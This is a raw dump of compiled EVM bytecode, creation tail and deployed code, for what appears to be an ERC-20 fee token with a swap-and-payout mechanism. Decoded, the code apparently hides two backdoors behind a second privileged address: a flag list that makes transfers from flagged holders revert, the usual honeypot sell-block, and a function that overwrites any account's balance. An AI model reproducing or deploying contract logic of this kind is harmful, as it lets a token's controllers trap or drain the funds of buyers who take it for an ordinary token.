4846117b6565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601354905090565b6000610c2a848484611981565b50610cec84610c376117ae565b610ce78560405180606001604052806028815260200161353960289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c9d6117ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d909092919063ffffffff16565b6117b6565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610d5a610d497f0000000000000000000000000000000000000000000000000000000000000000611045565b601354611df490919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610e3f610da36117ae565b84610e3a8560066000610db46117ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175090919063ffffffff16565b6117b6565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b601660159054906101000a900460ff1681565b610ea6600061133b565b60005b82829050811015610f45578360096000858585818110610ecc57610ecb61328e565b5b9050602002016020810190610ee19190612859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f3d906131b8565b915050610ea9565b50505050565b610f55600261133b565b600082600a610f649190612f8f565b9050600060019050600082600a600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001610fbd9190613016565b610fc79190613070565b610fd19190612f8f565b9050600081826002610fe39190613016565b610fed9190613070565b90506000925080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050565b600e5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546110f290613186565b80601f016020809104026020016040519081016040528092919081815260200182805461111e90613186565b801561116b5780601f106111405761010080835404028352916020019161116b565b820191906000526020600020905b81548152906001019060200180831161114e57829003601f168201915b5050505050905090565b6000601454905090565b6111876117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b90612e4a565b60405180910390fd5b81600c8190555080600d81905550611239600d54600c5461175090919063ffffffff16565b6011819055505050565b60125481565b600061130c6112566117ae565b846113078560405180606001604052806025815260200161356160259139600660006112806117ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d909092919063ffffffff16565b6117b6565b6001905092915050565b600f5481565b60006113306113296117ae565b8484611981565b506001905092915050565b6000819050818114156113b357600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113a957506000151560011515145b6113b257600080fd5b5b5050565b600b5481565b6113c56117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144990612e4a565b60405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b600a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600d5481565b6114af6117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153390612e4a565b60405180910390fd5b81600a8190555080600b81905550611561600b54600a5461175090919063ffffffff16565b6010819055505050565b60145481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60105481565b6116066117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a90612e4a565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600080828461175f9190612f8f565b9050838110156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b90612e0a565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181d90612e8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d90612dea565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119749190612eaa565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156119f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e990612e6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990612dca565b60405180910390fd5b601660149054906101000a900460ff1615611a8957611a82848484611e3e565b9050611d89565b6000611a9430611045565b905060006014548210159050808015611aba5750601660149054906101000a900460ff16155b8015611b105750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b285750601660159054906101000a900460ff165b15611b3757611b3682612011565b5b611b8984600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df490919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c6f5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c8357611c7e878787612117565b611c85565b845b9050611cd981600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d799190612eaa565b60405180910390a3600193505050505b9392505050565b6000838311158290611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf9190612da8565b60405180910390fd5b5060008385611de79190613070565b9050809150509392505050565b6000611e3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d90565b905092915050565b6000611ec9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d909092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5e82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ffe9190612eaa565b60405180910390a3600190509392505050565b6001601660146101000a81548160ff021916908315150217905550600081905061203a816123e7565b600047905060006012549050600061206f82612061600f548661263c90919063ffffffff16565b6126b790919063ffffffff16565b905060006120868285611df490919063ffffffff16565b905060008111156120be576120bd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612701565b5b60008211156120f4576120f3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612701565b5b50505050506000601660146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121c757600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121c657600080fd5b5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122485761224160646122336010548661263c90919063ffffffff16565b6126b790919063ffffffff16565b90506122c6565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122c5576122c260646122b46011548661263c90919063ffffffff16565b6126b790919063ffffffff16565b90505b5b60008111156123ca5761232181600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175090919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123c19190612eaa565b60405180910390a35b6123dd8184611df490919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff811115612404576124036132bd565b5b6040519080825280602002602001820160405280156124325781602001602082028036833780820191505090505b509050308160008151811061244a5761244961328e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124ec57600080fd5b505afa158015612500573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125249190612886565b816001815181106125385761253761328e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259f30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612603959493929190612ec5565b600060405180830381600087803b15801561261d57600080fd5b505af192505050801561262e575060015b61263757612638565b5b5050565b60008083141561264f57600090506126b1565b6000828461265d9190613016565b905082848261266c9190612fe5565b146126ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a390612e2a565b60405180910390fd5b809150505b92915050565b60006126f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061274c565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612747573d6000803e3d6000fd5b505050565b60008083118290612793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278a9190612da8565b60405180910390fd5b50600083856127a29190612fe5565b9050809150509392505050565b6000813590506127be816134f3565b92915050565b6000815190506127d3816134f3565b92915050565b60008083601f8401126127ef576127ee6132f1565b5b8235905067ffffffffffffffff81111561280c5761280b6132ec565b5b602083019150836020820283011115612828576128276132f6565b5b9250929050565b60008135905061283e8161350a565b92915050565b60008135905061285381613521565b92915050565b60006020828403121561286f5761286e613300565b5b600061287d848285016127af565b91505092915050565b60006020828403121561289c5761289b613300565b5b60006128aa848285016127c4565b91505092915050565b600080604083850312156128ca576128c9613300565b5b60006128d8858286016127af565b92505060206128e9858286016127af565b9150509250929050565b60008060006060848603121561290c5761290b613300565b5b600061291a868287016127af565b935050602061292b868287016127af565b925050604061293c86828701612844565b9150509250925092565b6000806040838503121561295d5761295c613300565b5b600061296b858286016127af565b925050602061297c85828601612844565b9150509250929050565b60008060006040848603121561299f5761299e613300565b5b600084013567ffffffffffffffff8111156129bd576129bc6132fb565b5b6129c9868287016127d9565b935093505060206129dc8682870161282f565b9150509250925092565b6000602082840312156129fc576129fb613300565b5b6000612a0a8482850161282f565b91505092915050565b600080600060408486031215612a2c57612a2b613300565b5b6000612a3a8682870161282f565b935050602084013567ffffffffffffffff811115612a5b57612a5a6132fb565b5b612a67868287016127d9565b92509250509250925092565b600060208284031215612a8957612a88613300565b5b6000612a9784828501612844565b91505092915050565b60008060408385031215612ab757612ab6613300565b5b6000612ac585828601612844565b9250506020612ad6858286016127af565b9150509250929050565b60008060408385031215612af757612af6613300565b5b6000612b0585828601612844565b9250506020612b1685828601612844565b9150509250929050565b6000612b2c8383612b47565b60208301905092915050565b612b41816130b6565b82525050565b612b50816130a4565b82525050565b612b5f816130a4565b82525050565b6000612b7082612f4a565b612b7a8185612f6d565b9350612b8583612f3a565b8060005b83811015612bb6578151612b9d8882612b20565b9750612ba883612f60565b925050600181019050612b89565b5085935050505092915050565b612bcc816130c8565b82525050565b612bdb8161310b565b82525050565b612bea8161311d565b82525050565b6000612bfb82612f55565b612c058185612f7e565b9350612c15818560208601613153565b612c1e81613305565b840191505092915050565b6000612c36602383612f7e565b9150612c4182613316565b604082019050919050565b6000612c59602283612f7e565b9150612c6482613365565b604082019050919050565b6000612c7c601b83612f7e565b9150612c87826133b4565b602082019050919050565b6000612c9f602183612f7e565b9150612caa826133dd565b604082019050919050565b6000612cc2602083612f7e565b9150612ccd8261342c565b602082019050919050565b6000612ce5602583612f7e565b9150612cf082613455565b604082019050919050565b6000612d08602483612f7e565b9150612d13826134a4565b604082019050919050565b612d27816130f4565b82525050565b612d36816130fe565b82525050565b6000602082019050612d516000830184612b56565b92915050565b6000602082019050612d6c6000830184612b38565b92915050565b6000602082019050612d876000830184612bc3565b92915050565b6000602082019050612da26000830184612bd2565b92915050565b60006020820190508181036000830152612dc28184612bf0565b905092915050565b60006020820190508181036000830152612de381612c29565b9050919050565b60006020820190508181036000830152612e0381612c4c565b9050919050565b60006020820190508181036000830152612e2381612c6f565b9050919050565b60006020820190508181036000830152612e4381612c92565b9050919050565b60006020820190508181036000830152612e6381612cb5565b9050919050565b60006020820190508181036000830152612e8381612cd8565b9050919050565b60006020820190508181036000830152612ea381612cfb565b9050919050565b6000602082019050612ebf6000830184612d1e565b92915050565b600060a082019050612eda6000830188612d1e565b612ee76020830187612be1565b8181036040830152612ef98186612b65565b9050612f086060830185612b56565b612f156080830184612d1e565b9695505050505050565b6000602082019050612f346000830184612d2d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f9a826130f4565b9150612fa5836130f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fda57612fd9613201565b5b828201905092915050565b6000612ff0826130f4565b9150612ffb836130f4565b92508261300b5761300a613230565b5b828204905092915050565b6000613021826130f4565b915061302c836130f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561306557613064613201565b5b828202905092915050565b600061307b826130f4565b9150613086836130f4565b92508282101561309957613098613201565b5b828203905092915050565b60006130af826130d4565b9050919050565b60006130c1826130d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131168261312f565b9050919050565b6000613128826130f4565b9050919050565b600061313a82613141565b9050919050565b600061314c826130d4565b9050919050565b60005b83811015613171578082015181840152602081019050613156565b83811115613180576000848401525b50505050565b6000600282049050600182168061319e57607f821691505b602082108114156131b2576131b161325f565b5b50919050565b60006131c3826130f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131f6576131f5613201565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6134fc816130a4565b811461350757600080fd5b50565b613513816130c8565b811461351e57600080fd5b50565b61352a816130f4565b811461353557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c5d849954722599046769ad95d75c5c9682089d618dbf51f85626195b188484764736f6c63430008070033
Deployed Bytecode
0x60806040526004361061024a5760003560e01c806382eefb4311610139578063c469b6dd116100b6578063cab034711161007a578063cab03471146108cd578063d0f0c57c146108f8578063d2d7ad8314610921578063dd62ed3e1461094c578063f0cd1dac14610989578063f2fde38b146109b457610251565b8063c469b6dd146107f8578063c49b9a8014610823578063c5d241891461084c578063c816841b14610877578063c8607952146108a257610251565b8063a08e671f116100fd578063a08e671f146106ff578063a457c2d71461072a578063a83f53a714610767578063a9059cbb14610792578063b5a34c2c146107cf57610251565b806382eefb431461062a5780638da5cb5b1461065557806395d89b4114610680578063a073d37f146106ab578063a0821ee5146106d657610251565b80633345611e116101c7578063573e17551161018b578063573e1755146105455780635f3cef811461056e57806361a23c691461059757806370a08231146105c257806380dfb124146105ff57610251565b80633345611e1461042657806339509351146104635780633a8650e1146104a05780633ecad271146104dd5780634a74bb021461051a57610251565b806318160ddd1161020e57806318160ddd1461033d57806323b872dd1461036857806327c8f835146103a55780632b112e49146103d0578063313ce567146103fb57610251565b806306fdde0314610256578063081f0e9a14610281578063095ea7b3146102aa5780631245e347146102e75780631694505e1461031257610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b6109dd565b6040516102789190612da8565b60405180910390f35b34801561028d57600080fd5b506102a860048036038101906102a39190612986565b610a6f565b005b3480156102b657600080fd5b506102d160048036038101906102cc9190612946565b610ba9565b6040516102de9190612d72565b60405180910390f35b3480156102f357600080fd5b506102fc610bc7565b6040516103099190612d57565b60405180910390f35b34801561031e57600080fd5b50610327610bed565b6040516103349190612d8d565b60405180910390f35b34801561034957600080fd5b50610352610c13565b60405161035f9190612eaa565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a91906128f3565b610c1d565b60405161039c9190612d72565b60405180910390f35b3480156103b157600080fd5b506103ba610cf7565b6040516103c79190612d3c565b60405180910390f35b3480156103dc57600080fd5b506103e5610d1b565b6040516103f29190612eaa565b60405180910390f35b34801561040757600080fd5b50610410610d5f565b60405161041d9190612f1f565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190612859565b610d76565b60405161045a9190612d72565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612946565b610d96565b6040516104979190612d72565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190612859565b610e49565b6040516104d49190612d72565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff9190612859565b610e69565b6040516105119190612d72565b60405180910390f35b34801561052657600080fd5b5061052f610e89565b60405161053c9190612d72565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190612a13565b610e9c565b005b34801561057a57600080fd5b5061059560048036038101906105909190612aa0565b610f4b565b005b3480156105a357600080fd5b506105ac61103f565b6040516105b99190612eaa565b60405180910390f35b3480156105ce57600080fd5b506105e960048036038101906105e49190612859565b611045565b6040516105f69190612eaa565b60405180910390f35b34801561060b57600080fd5b5061061461108e565b6040516106219190612d57565b60405180910390f35b34801561063657600080fd5b5061063f6110b4565b60405161064c9190612eaa565b60405180910390f35b34801561066157600080fd5b5061066a6110ba565b6040516106779190612d3c565b60405180910390f35b34801561068c57600080fd5b506106956110e3565b6040516106a29190612da8565b60405180910390f35b3480156106b757600080fd5b506106c0611175565b6040516106cd9190612eaa565b60405180910390f35b3480156106e257600080fd5b506106fd60048036038101906106f89190612ae0565b61117f565b005b34801561070b57600080fd5b50610714611243565b6040516107219190612eaa565b60405180910390f35b34801561073657600080fd5b50610751600480360381019061074c9190612946565b611249565b60405161075e9190612d72565b60405180910390f35b34801561077357600080fd5b5061077c611316565b6040516107899190612eaa565b60405180910390f35b34801561079e57600080fd5b506107b960048036038101906107b49190612946565b61131c565b6040516107c69190612d72565b60405180910390f35b3480156107db57600080fd5b506107f660048036038101906107f19190612a73565b61133b565b005b34801561080457600080fd5b5061080d6113b7565b60405161081a9190612eaa565b60405180910390f35b34801561082f57600080fd5b5061084a600480360381019061084591906129e6565b6113bd565b005b34801561085857600080fd5b5061086161146f565b60405161086e9190612eaa565b60405180910390f35b34801561088357600080fd5b5061088c611475565b6040516108999190612d3c565b60405180910390f35b3480156108ae57600080fd5b506108b761149b565b6040516108c49190612eaa565b60405180910390f35b3480156108d957600080fd5b506108e26114a1565b6040516108ef9190612eaa565b60405180910390f35b34801561090457600080fd5b5061091f600480360381019061091a9190612ae0565b6114a7565b005b34801561092d57600080fd5b5061093661156b565b6040516109439190612eaa565b60405180910390f35b34801561095857600080fd5b50610973600480360381019061096e91906128b3565b611571565b6040516109809190612eaa565b60405180910390f35b34801561099557600080fd5b5061099e6115f8565b6040516109ab9190612eaa565b60405180910390f35b3480156109c057600080fd5b506109db60048036038101906109d69190612859565b6115fe565b005b6060600180546109ec90613186565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1890613186565b8015610a655780601f10610a3a57610100808354040283529160200191610a65565b820191906000526020600020905b815481529060010190602001808311610a4857829003601f168201915b5050505050905090565b610a776117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb90612e4a565b60405180910390fd5b60005b83839050811015610ba3578160076000868685818110610b2a57610b2961328e565b5b9050602002016020810190610b3f9190612859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b9b906131b8565b915050610b07565b50505050565b6000610bbd610bb66117ae565b84846117b6565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601354905090565b6000610c2a848484611981565b50610cec84610c376117ae565b610ce78560405180606001604052806028815260200161353960289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c9d6117ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d909092919063ffffffff16565b6117b6565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610d5a610d497f000000000000000000000000000000000000000000000000000000000000dead611045565b601354611df490919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610e3f610da36117ae565b84610e3a8560066000610db46117ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175090919063ffffffff16565b6117b6565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b601660159054906101000a900460ff1681565b610ea6600061133b565b60005b82829050811015610f45578360096000858585818110610ecc57610ecb61328e565b5b9050602002016020810190610ee19190612859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f3d906131b8565b915050610ea9565b50505050565b610f55600261133b565b600082600a610f649190612f8f565b9050600060019050600082600a600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001610fbd9190613016565b610fc79190613070565b610fd19190612f8f565b9050600081826002610fe39190613016565b610fed9190613070565b90506000925080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050565b600e5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546110f290613186565b80601f016020809104026020016040519081016040528092919081815260200182805461111e90613186565b801561116b5780601f106111405761010080835404028352916020019161116b565b820191906000526020600020905b81548152906001019060200180831161114e57829003601f168201915b5050505050905090565b6000601454905090565b6111876117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b90612e4a565b60405180910390fd5b81600c8190555080600d81905550611239600d54600c5461175090919063ffffffff16565b6011819055505050565b60125481565b600061130c6112566117ae565b846113078560405180606001604052806025815260200161356160259139600660006112806117ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d909092919063ffffffff16565b6117b6565b6001905092915050565b600f5481565b60006113306113296117ae565b8484611981565b506001905092915050565b6000819050818114156113b357600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113a957506000151560011515145b6113b257600080fd5b5b5050565b600b5481565b6113c56117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144990612e4a565b60405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b600a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600d5481565b6114af6117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153390612e4a565b60405180910390fd5b81600a8190555080600b81905550611561600b54600a5461175090919063ffffffff16565b6010819055505050565b60145481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60105481565b6116066117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a90612e4a565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffff